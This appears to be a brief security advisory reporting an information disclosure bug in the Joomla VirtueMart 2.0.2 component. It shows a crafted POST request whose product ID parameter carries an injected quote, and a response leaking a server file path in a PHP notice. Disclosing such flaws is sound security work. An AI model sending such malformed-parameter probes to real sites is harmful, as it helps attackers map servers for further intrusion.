Joomla Virtuemart 2.0.2 Information Disclosure

`[ TITLE ....... ][ VirtueMart Information Disclosure  
[ DATE ........ ][ .0.2012  
[ AUTOHR ...... ][ http://hauntit.blogspot.com  
[ SOFT LINK ... ][ http://  
[ VERSION ..... ][ 2.0.2  
[ TESTED ON ... ][ LAMP  
[ ----------------------------------------------------------------------- [  
  
[ 1. What is this?  
[ 2. What is the type of vulnerability?  
[ 3. Where is bug :)  
[ 4. More...  
  
[--------------------------------------------[  
[ 1. What is this?  
This is very nice CMS component, You should try it! ;)  
  
[--------------------------------------------[  
[ 2. What is the type of vulnerability?  
Information disclosure bug.  
  
[--------------------------------------------[  
[ 3. Where is bug :)  
  
---- REQUEST ----  
POST /joomla/index.php/en/dk?virtuemart_product_id=1&virtuemart_category_id=1 HTTP/1.1  
Host: localhost  
(...)  
vote=5&comment=(...Ax101)...+&counter=172&submit_review=Submit+Review  
&virtuemart_product_id=11'HERE'a&option=com_virtuemart  
&virtuemart_category_id=1&virtuemart_rating_review_id=0&task=review  
-----------------  
  
You will see:  
---- RESPONSE ----  
<span class="vote"><br />  
<b>Notice</b>: Undefined index: in <b>/home/kuba/www/joomla/components/com_virtuemart/views/productdetails/tmpl/default_reviews.php</b> on line <b>79</b><br />  
</span>  
-----------------  
  
[--------------------------------------------[  
[ 4. More...  
  
- http://joomla.org  
- http://hauntit.blogspot.com  
- http://www.google.com  
- http://portswigger.net  
[  
[--------------------------------------------[  
[ Ask me about new projects @ mail. ;)  
]  
[ Best regards  
[   
  
`